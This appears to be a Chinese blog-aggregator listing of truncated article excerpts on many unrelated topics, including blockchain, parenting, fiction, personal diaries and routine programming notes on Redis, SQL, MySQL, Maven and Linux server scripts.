    • 企业级区块链平台Hyperchain核心原理剖析 boyedu 区块链区块链企业级区块链平台Hyperchain
      Hyperchain作为国产自主可控的企业级联盟区块链平台，其核心原理围绕高性能共识、隐私保护、智能合约引擎及可扩展架构展开，通过多模块协同实现企业级区块链网络的高效部署与安全运行。以下从核心架构、关键技术、性能优化、安全机制、应用场景五个维度展开剖析：一、核心架构：分层解耦与模块化设计Hyperchain采用分层架构，将区块链功能解耦为独立模块，支持灵活组合与扩展：P2P网络层由验证节点（VP）
    • 为什么焦虑、抑郁、自残的青少年越来越多？ 精神健康
      很多家长觉得没缺孩子吃的穿的，他们有安稳的生活，他们有什么可焦虑、抑郁的，但现在的孩子，学习压力越来越大，每天休息的时间越来越少，出现焦虑抑郁是很正常的。从发展的角度看，青少年时期，人的身体、情绪，智力、人格都急剧发展，正从未成熟走向成熟，情绪起伏不定，易冲动，再者，由于缺乏生活经验，以及来自于家长、学校、社会的各种要求和压力，从而不知所措，心中的焦虑、恐惧、彷徨得不到及时的排解，从而导致心理上的
    • 第八章 竟然是他 橥橥
      十天之后，京城已在眼前。沐子莹总算松了口，天子脚下，相对安全。马车在城门外停下，杨嬷嬷掀了帘子往外望去，哀叹了一声。沐子莹拍拍身上的灰尘安慰她说：“嬷嬷，别怕，马上就要到府了，咱们可得把那车夫的事跟主母讲一讲，让主她这个当家的给我们作主才是。”嬷嬷却连连摆手，“不可啊小姐，咱们能平安回府就是幸事，车夫的事……就说他摔死在半路，其它的，莫要再提了吧。”“若真是车夫生事那算是万幸了，只怕容不得我们的，
    • 最新阿里四面面试真题46道：面试技巧+核心问题+面试心得 风平浪静如码
      前言做技术的有一种资历，叫做通过了阿里的面试。这些阿里Java相关问题，都是之前通过不断优秀人才的铺垫总结的，先自己弄懂了再去阿里面试，不然就是去丢脸，被虐。希望对大家帮助，祝面试成功，有个更好的职业规划。一，阿里常见技术面1、微信红包怎么实现。2、海量数据分析。3、测试职位问的线程安全和非线程安全。4、HTTP2.0、thrift。5、面试电话沟通可能先让自我介绍。6、分布式事务一致性。7、ni
    • 读书打卡《别想太多啦》 chenchen_68ed
      第一，世间之事，不去尝试永远不知道其中的奥秘，在尝试中有失败是必然的。如果担心失败，那什么都学不会。第二，经历的失败越多，越会对失败者抱有宽容的态度，“原来如此，我也经历过类似的失败啦，那只是暂时的”。经历越多失败的长者，越能包容别人，这也就是所谓的“越年长越宽容”。成熟的人，就是在众多失败经历中不断学习，并接纳别人的失败。对于他人的小小过失不吹毛求疵，自己的心态会更加平和。在不断失败中学习，让自
    • 2025年SDK游戏盾终极解析：重新定义手游安全的“隐形护甲” 上海云盾商务经理杨杨 游戏安全
      副标题：从客户端加密到AI反外挂，拆解全链路防护如何重塑游戏攻防天平引言：当传统高防在手游战场“失效”2025年全球手游市场规模突破$2000亿，黑客单次攻击成本却降至$30——某SLG游戏因协议层CC攻击单日流失37%玩家，某开放世界游戏遭低频DDoS瘫痪6小时损失千万。传统高防IP的致命短板暴露无遗：无法识别伪造客户端流量、难防协议篡改、误杀率超15%。而集成于游戏终端的SDK游戏盾，正以“源
    • 2023-01-26 胡喜平
      我觉得《可见的学习》一书确实从底层逻辑说清楚了，教学的本质。可是太多术语和概念，一时间难以消化啊。而且知道和懂得有距离，运用就更不行了，需要高手和专家的指导。我需要多听听新课标的讲座了，来反复印证。读论文也有了一点点灵感，明天修改我的论文。
    • 平静得接受自己的笨拙 20190118 晨间日记 吴伯符
      图片发自App最近做了一个关于微习惯的分享，这里有八个字：微量开始，超额完成。这里的言下之意其实是要你在一开始的时候，平静地接受自己的笨拙。接受自己的笨拙，理解自己的笨拙，放慢速度尝试，观察哪里可以改进，再反复练习，观察自己哪里可以再进一步改进，再反复…这是学习一切技能的必须的过程。这里的两个关键点是：1.尽快的开始这个过程，这就能够用到微习惯的微量开始。2.尽快的度过这个过程，这就需要用到超额完
    • 二十四节气组诗 谷雨 离陌_6639
      图片来源网络，若侵犯了你的权益，请联系我删除6.谷雨文/离陌背上行囊背上如行囊的我从此任行程马不停蹄今天家乡的田野春雨快马加鞭播下希望的种子观音不语目送着我和夏天一道在观音山出关图片来源网络，若侵犯了你的权益，请联系我删除你好啊，我是离陌，已然在懵懂中走过了16年的岁月，为了珍惜当下的每一秒，所以立志做一名终身学习者。文学对于我来说是一种信仰，诗歌是我的生命。人生之道，四通八达，即入文学，自当持之
    • 你好，2020年 瑄瑄妍妍的妈咪
      早上好，今天是2020年的第一天，也就是元旦，新年新的一天开始了。新的开始，重新规划未来的一年。从今天开始，用了一个新的记账软件，之前的随手记软件，也没有删除，只是重新下载了一个别的软件，开始一个新的记账旅程，对于理财开支，有个新的规划。通过小红书视频软件，学习了不少育儿知识，和各种不同的美食，以后动手制作，给宝宝做健康美味的营养餐。学习方面，继续学英语吧！虽然是抽出时间学的，进度也比较慢，但是积
    • 常规笔记本和加固笔记本的区别 luchengtech 电脑三防笔记本加固计算机加固笔记本
      在现代科技产品中，笔记本电脑因其便携性和功能性被广泛应用。根据使用场景和需求的不同，笔记本可分为常规笔记本和加固笔记本，二者在多个方面存在显著区别。适用场景是区分二者的重要标志。常规笔记本主要面向普通消费者和办公人群，适用于家庭娱乐、日常办公、学生学习等相对稳定的室内环境。比如，人们在家用它追剧、处理文档，学生在教室用它完成作业。而加固笔记本则专为特殊行业设计，像军事、野外勘探、工业制造、交通运输
    • 善吃五色五味，女人更妖娆，想漂亮享受健康美味吃起来 余老师讲健康
      善吃五色五味，女人更妖娆我们所说的五色五味是指具有赤、青、黄、白、黑五种颜色以及酸、辛、甘、苦、咸五种味道的食物。其实五味和五色与人体的五脏对应，养生必养五脏，通过五味、五色的食物可以调养人的容颜。一、赤色、苦味入心——养颜，面色红润有句话这么说，“会吃的女人更漂亮，贪吃的女人变糟粕。”经过科学、合理搭配的五色五味饮食，就是最天然、最安全的美容药方。赤色——抗衰老，增强免疫力，改善血液循环。赤色即
    • 《云襄传》：云襄做的局是浑水摸鱼吗？ 书生号贺
      云襄入南都是要浑水摸鱼吗？他是云台的高材生吗？他为啥笃定师父一定会让他留在南都？他为啥觉得他能够做局成功？他是在经商吗？还是在经营人心与欲望？云襄是云台弟子，云台属千门的一支，另一支叫凌渊，云台教人经商之道，重智慧，凌渊以武力取胜，但倍受打压。云襄学习十五年，下高山奔越州，途经南洋，因恩人闻聪被害，囚于白驹镇，念于情分，被卷入这样一个局面里，结识了舒亚南与金十两，于是，复仇小组成立，目标是南都漕帮
    • 2019做重要的事，让遗憾减少 Sandy黄珊丹
      岁末年初，又到了回顾和展望的时间。回顾2018，你有哪些事情没有去做或者没有做到而感到遗憾的呢？2019年我们要怎么做，可以减少遗憾呢？回想自己在2017年以前，一直处在忙碌的家庭和事业中，忙碌让我感到安全，稍微停下脚步都感到是一种罪过，每一件事似乎都很重要。直到2017春节后，因为对未来彷徨和焦虑，让我严重失眠，家庭关系恶化，都让心疲惫无法进入工作状态，不得不寻找解决的的办法。在2017年5月份
    • 心力践行营十二期一阶学习打卡 LX_王彤彤
      姓名：王彤彤时间：2021年4月24日一：朗读师父的十大人生哲学二：师父的早安分享感悟很喜欢这句话：所有的行动都是基于目标的尝试，没有所谓的失败，只是不同尝试后得到的不同结果，让我们更好地调整下一次的行动。三：感恩日记1.我太幸福了，我很感恩姑姑，因为姑姑放假又投喂了我，还给我带了饺子回家，这让我感觉很幸福。谢谢，谢谢，谢谢。2.我太幸福了，我很感恩师父晚上的直播，因为听他的分享我知道怎么更好的去
    • 为了在未来的人工智能世界中取得成功，学生们必须学习人类写作的优点 睿邸管家
      澳大利亚各地的学生在新学年开始使用铅笔、钢笔和键盘学习写字。在工作场所，机器也在学习写作，如此有效，几年之内，它们可能会写得比人类更好。有时它们已经做到了，就像Grammarly这样的应用程序所展示的那样。当然，人类现在的日常写作可能很快就会由具有人工智能(AI)的机器来完成。手机和电子邮件软件常用的预测文本是无数人每天都在使用的一种人工智能写作形式。据AI行业研究机构称，到2022年，人工智能及
    • 闭组进行时... 李亚青_强化班
      今天是2019年12月1号距离开始三月学习的日子:2019年10月07,已经过去将近两个月，回顾这一阶段的学习，收获了什么?又学会了什么呢?图片发自App我想，收获最大的就是身边这一群人吧,有和蔼可亲的学姐，贴心的学长，嬉戏打闹，玩的不亦乐乎，但也同样认真踏实学习小伙伴图片发自App本以为在这样的时刻，有太多太多话，太多太多想法想要表达，可言到此处，又觉得似乎没有什么想要说的了还是那句话，幸运遇到
    • 新家长必修课小贴士—如何做到无条件接纳 SDDE兰
      2021年6月14日星期一《新父母晨报》【育儿知识】：怎样做才是无条件地接纳孩子呢？在孩子成长的过程当中，来自父母无条件地接纳，是孩子成长的安全基地，是孩子面对任何困难时候的底气。只有被父母无条件接纳的孩子，未来不管遇到什么样的境况，都会感觉有后盾，都能更快地去适应。怎样做才是无条件地接纳孩子呢？有两个非常重要的维度：️接纳孩子的感受✨一个孩子不管他的行为是可爱，还是令人讨厌，他其实都是为了寻求父
    • 2021-10-23 赵甄文的幸福
      秀荣感恩日记Day42[烟花]感恩语录感恩自己有能力有好身体，可以到处走动，做自己想做的事情10.23感恩日记今天做的事情瑜伽一小时户外散步一小时泡脚20分钟学习打卡和孩子沟通[爱心]感动的瞬间今天瑜伽回来，发现老公在厨房里做鱼。每次老公有时间休息的时候都会给我做硬菜。刘姐约我一起去公园散步晒太阳。虽然完美错过，但心里还是暖暖的。每天睁开眼打开手机，先去自己的群里逛一逛，每每发现有人点赞或者互动都
    • redis学习笔记——不仅仅是存取数据 Everyday都不同 returnSourceexpire/delincr/lpush数据库分区redis
      最近项目中用到比较多redis，感觉之前对它一直局限于get/set数据的层面。其实作为一个强大的NoSql数据库产品，如果好好利用它，会带来很多意想不到的效果。（因为我搞java，所以就从jedis的角度来补充一点东西吧。PS：不一定全，只是个人理解，不喜勿喷）   1、关于JedisPool.returnSource(Jedis jeids)   这个方法是从red
    • SQL性能优化-持续更新中。。。。。。 atongyeye oraclesql
      1 通过ROWID访问表--索引 你可以采用基于ROWID的访问方式情况,提高访问表的效率, , ROWID包含了表中记录的物理位置信息..ORACLE采用索引(INDEX)实现了数据和存放数据的物理位置(ROWID)之间的联系. 通常索引提供了快速访问ROWID的方法,因此那些基于索引列的查询就可以得到性能上的提高. 2 共享SQL语句--相同的sql放入缓存 3 选择最有效率的表
    • [JAVA语言]JAVA虚拟机对底层硬件的操控还不完善 comsci JAVA虚拟机
           如果我们用汇编语言编写一个直接读写CPU寄存器的代码段，然后利用这个代码段去控制被操作系统屏蔽的硬件资源，这对于JVM虚拟机显然是不合法的，对操作系统来讲，这样也是不合法的，但是如果是一个工程项目的确需要这样做，合同已经签了，我们又不能够这样做，怎么办呢？ 那么一个精通汇编语言的那种X客，是否在这个时候就会发生某种至关重要的作用呢？ &n
    • lvs- real 男人50 LVS
      #!/bin/bash # # Script to start LVS DR real server. # description: LVS DR real server # #.  /etc/rc.d/init.d/functions VIP=10.10.6.252 host='/bin/hostname' case "$1" in sta
    • 生成公钥和私钥 oloz DSA安全加密
      package com.msserver.core.util; import java.security.KeyPair; import java.security.PrivateKey; import java.security.PublicKey; import java.security.SecureRandom; public class SecurityUtil {
    • UIView 中加入的cocos2d，背景透明 374016526 cocos2dglClearColor
      要点是首先pixelFormat:kEAGLColorFormatRGBA8，必须有alpha层才能透明。然后view设置为透明glView.opaque = NO;[director setOpenGLView:glView];[self.viewController.view setBackgroundColor:[UIColor clearColor]];[self.viewControll
    • mysql常用命令 香水浓 mysql
      连接数据库 mysql -u troy -ptroy 备份表 mysqldump -u troy -ptroy mm_database mm_user_tbl > user.sql 恢复表（与恢复数据库命令相同） mysql -u troy -ptroy mm_database < user.sql 备份数据库 mysqldump -u troy -ptroy
    • 我的架构经验系列文章 - 后端架构 - 系统层面 agevs JavaScriptjquerycsshtml5
      系统层面： 高可用性 所谓高可用性也就是通过避免单独故障加上快速故障转移实现一旦某台物理服务器出现故障能实现故障快速恢复。一般来说，可以采用两种方式，如果可以做业务可以做负载均衡则通过负载均衡实现集群，然后针对每一台服务器进行监控，一旦发生故障则从集群中移除；如果业务只能有单点入口那么可以通过实现Standby机加上虚拟IP机制，实现Active机在出现故障之后虚拟IP转移到Standby的快速
    • 利用ant进行远程tomcat部署 aijuans tomcat
      在javaEE项目中，需要将工程部署到远程服务器上，如果部署的频率比较高，手动部署的方式就比较麻烦，可以利用Ant工具实现快捷的部署。这篇博文详细介绍了ant配置的步骤（http://www.cnblogs.com/GloriousOnion/archive/2012/12/18/2822817.html），但是在tomcat7以上不适用，需要修改配置，具体如下： 1.配置tomcat的用户角色
    • 获取复利总收入 baalwolf 获取
             public static void main(String args[]){         int money=200;         int year=1;         double rate=0.1; &
    • eclipse.ini解释 BigBird2012 eclipse
      大多数java开发者使用的都是eclipse，今天感兴趣去eclipse官网搜了一下eclipse.ini的配置，供大家参考，我会把关键的部分给大家用中文解释一下。还是推荐有问题不会直接搜谷歌，看官方文档，这样我们会知道问题的真面目是什么，对问题也有一个全面清晰的认识。 Overview 1、Eclipse.ini的作用 Eclipse startup is controlled by th
    • AngularJS实现分页功能 bijian1013 JavaScriptAngularJS分页
              对于大多数web应用来说显示项目列表是一种很常见的任务。通常情况下，我们的数据会比较多，无法很好地显示在单个页面中。在这种情况下，我们需要把数据以页的方式来展示，同时带有转到上一页和下一页的功能。既然在整个应用中这是一种很常见的需求，那么把这一功能抽象成一个通用的、可复用的分页（Paginator）服务是很有意义的。   &nbs
    • [Maven学习笔记三]Maven archetype bit1129 ArcheType
      archetype的英文意思是原型，Maven archetype表示创建Maven模块的模版，比如创建web项目，创建Spring项目等等.   mvn archetype提供了一种命令行交互式创建Maven项目或者模块的方式，   mvn archetype   1.在LearnMaven-ch03目录下，执行命令mvn archetype:gener
    • 【Java命令三】jps bit1129 Java命令
      jps很简单，用于显示当前运行的Java进程，也可以连接到远程服务器去查看   [hadoop@hadoop bin]$ jps -help usage: jps [-help] jps [-q] [-mlvV] [<hostid>] Definitions: <hostid>: <hostname>[:
    • ZABBIX2.2 2.4 等各版本之间的兼容性 ronin47
      zabbix更新很快，从2009年到现在已经更新多个版本，为了使用更多zabbix的新特性，随之而来的便是升级版本，zabbix版本兼容性是必须优先考虑的一点 客户端AGENT兼容 zabbix1.x到zabbix2.x的所有agent都兼容zabbix server2.4：如果你升级zabbix server，客户端是可以不做任何改变，除非你想使用agent的一些新特性。 Zabbix代理（p
    • unity 3d还是cocos2dx哪个适合游戏？ brotherlamp unity自学unity教程unity视频unity资料unity
      unity 3d还是cocos2dx哪个适合游戏？ 问：unity 3d还是cocos2dx哪个适合游戏？ 答：首先目前来看unity视频教程因为是3d引擎，目前对2d支持并不完善，unity 3d 目前做2d普遍两种思路，一种是正交相机，3d画面2d视角，另一种是通过一些插件，动态创建mesh来绘制图形单元目前用的较多的是2d toolkit，ex2d，smooth moves，sm2，
    • 百度笔试题：一个已经排序好的很大的数组，现在给它划分成m段，每段长度不定，段长最长为k，然后段内打乱顺序，请设计一个算法对其进行重新排序 bylijinnan java算法面试百度招聘
      import java.util.Arrays; /** * 最早是在陈利人老师的微博看到这道题： * #面试题#An array with n elements which is K most sorted，就是每个element的初始位置和它最终的排序后的位置的距离不超过常数K * 设计一个排序算法。It should be faster than O(n*lgn)。
    • 获取checkbox复选框的值 chiangfai checkbox
      <title>CheckBox</title> <script type = "text/javascript"> doGetVal: function doGetVal() { //var fruitName = document.getElementById("apple").value;//根据
    • MySQLdb用户指南 chenchao051 mysqldb
      原网页被墙，放这里备用。 MySQLdb User's Guide Contents Introduction Installation _mysql MySQL C API translation MySQL C API function mapping Some _mysql examples MySQLdb
    • HIVE 窗口及分析函数 daizj hive窗口函数分析函数
      窗口函数应用场景： （1）用于分区排序 （2）动态Group By （3）Top N （4）累计计算 （5）层次查询 一、分析函数 用于等级、百分点、n分片等。 函数             说明 RANK()     &nbs
    • PHP ZipArchive 实现压缩解压Zip文件 dcj3sjt126com PHPzip
      PHP ZipArchive 是PHP自带的扩展类，可以轻松实现ZIP文件的压缩和解压，使用前首先要确保PHP ZIP 扩展已经开启，具体开启方法就不说了，不同的平台开启PHP扩增的方法网上都有，如有疑问欢迎交流。这里整理一下常用的示例供参考。 一、解压缩zip文件 01 02 03 04 05 06 07 08 09 10 11
    • 精彩英语贺词 dcj3sjt126com 英语
      I'm always here              我会一直在这里支持你                &nb
    • 基于Java注解的Spring的IoC功能 e200702084 javaspringbeanIOCOffice
                                        
    • java模拟post请求 geeksun java
      一般API接收客户端（比如网页、APP或其他应用服务）的请求，但在测试时需要模拟来自外界的请求，经探索，使用HttpComponentshttpClient可模拟Post提交请求。 此处用HttpComponents的httpclient来完成使命。 import org.apache.http.HttpEntity ; import org.apache.http.HttpRespon
    • Swift语法之 ---- ?和!区别 hongtoushizi ?swift!
      转载自： http://blog.sina.com.cn/s/blog_71715bf80102ux3v.html   Swift语言使用var定义变量，但和别的语言不同，Swift里不会自动给变量赋初始值，也就是说变量不会有默认值，所以要求使用变量之前必须要对其初始化。如果在使用变量之前不进行初始化就会报错： var stringValue : String //
    • centos7安装jdk1.7 jisonami jdkcentos
      安装JDK1.7 步骤1、解压tar包在当前目录 [root@localhost usr]#tar -xzvf jdk-7u75-linux-x64.tar.gz 步骤2：配置环境变量 在etc/profile文件下添加 export JAVA_HOME=/usr/java/jdk1.7.0_75 export CLASSPATH=/usr/java/jdk1.7.0_75/lib
    • 数据源架构模式之数据映射器 home198979 PHP架构数据映射器datamapper
      前面分别介绍了数据源架构模式之表数据入口、数据源架构模式之行和数据入口数据源架构模式之活动记录，相较于这三种数据源架构模式，数据映射器显得更加“高大上”。   一、概念 数据映射器（Data Mapper）：在保持对象和数据库（以及映射器本身）彼此独立的情况下，在二者之间移动数据的一个映射器层。概念永远都是抽象的，简单的说，数据映射器就是一个负责将数据映射到对象的类数据。 &nb
    • 在Python中使用MYSQL pda158 mysqlpython
      缘由 　　近期在折腾一个小东西须要抓取网上的页面。然后进行解析。将结果放到 数据库中。 　　了解到 Python在这方面有优势，便选用之。 　　由于我有台 server上面安装有 mysql，自然使用之。在进行数据库的这个操作过程中遇到了不少问题，这里 记录一下，大家共勉。 　　 python中mysql的调用 　　 百度之后能够通过MySQLdb进行数据库操作。
    • 单例模式 hxl1988_0311 java单例设计模式单件
      package com.sosop.designpattern.singleton; /* * 单件模式：保证一个类必须只有一个实例，并提供全局的访问点 * * 所以单例模式必须有私有的构造器，没有私有构造器根本不用谈单件 * * 必须考虑到并发情况下创建了多个实例对象 * */ /** * 虽然有锁，但是只在第一次创建对象的时候加锁，并发时不会存在效率
    • 27种迹象显示你应该辞掉程序员的工作 vipshichg 工作
      1、你仍然在等待老板在2010年答应的要提拔你的暗示。 2、你的上级近10年没有开发过任何代码。 3、老板假装懂你说的这些技术，但实际上他完全不知道你在说什么。 4、你干完的项目6个月后才部署到现场服务器上。 5、时不时的，老板在检查你刚刚完成的工作时，要求按新想法重新开发。 6、而最终这个软件只有12个用户。 7、时间全浪费在办公室政治中，而不是用在开发好的软件上。 8、部署前5分钟才开始测试。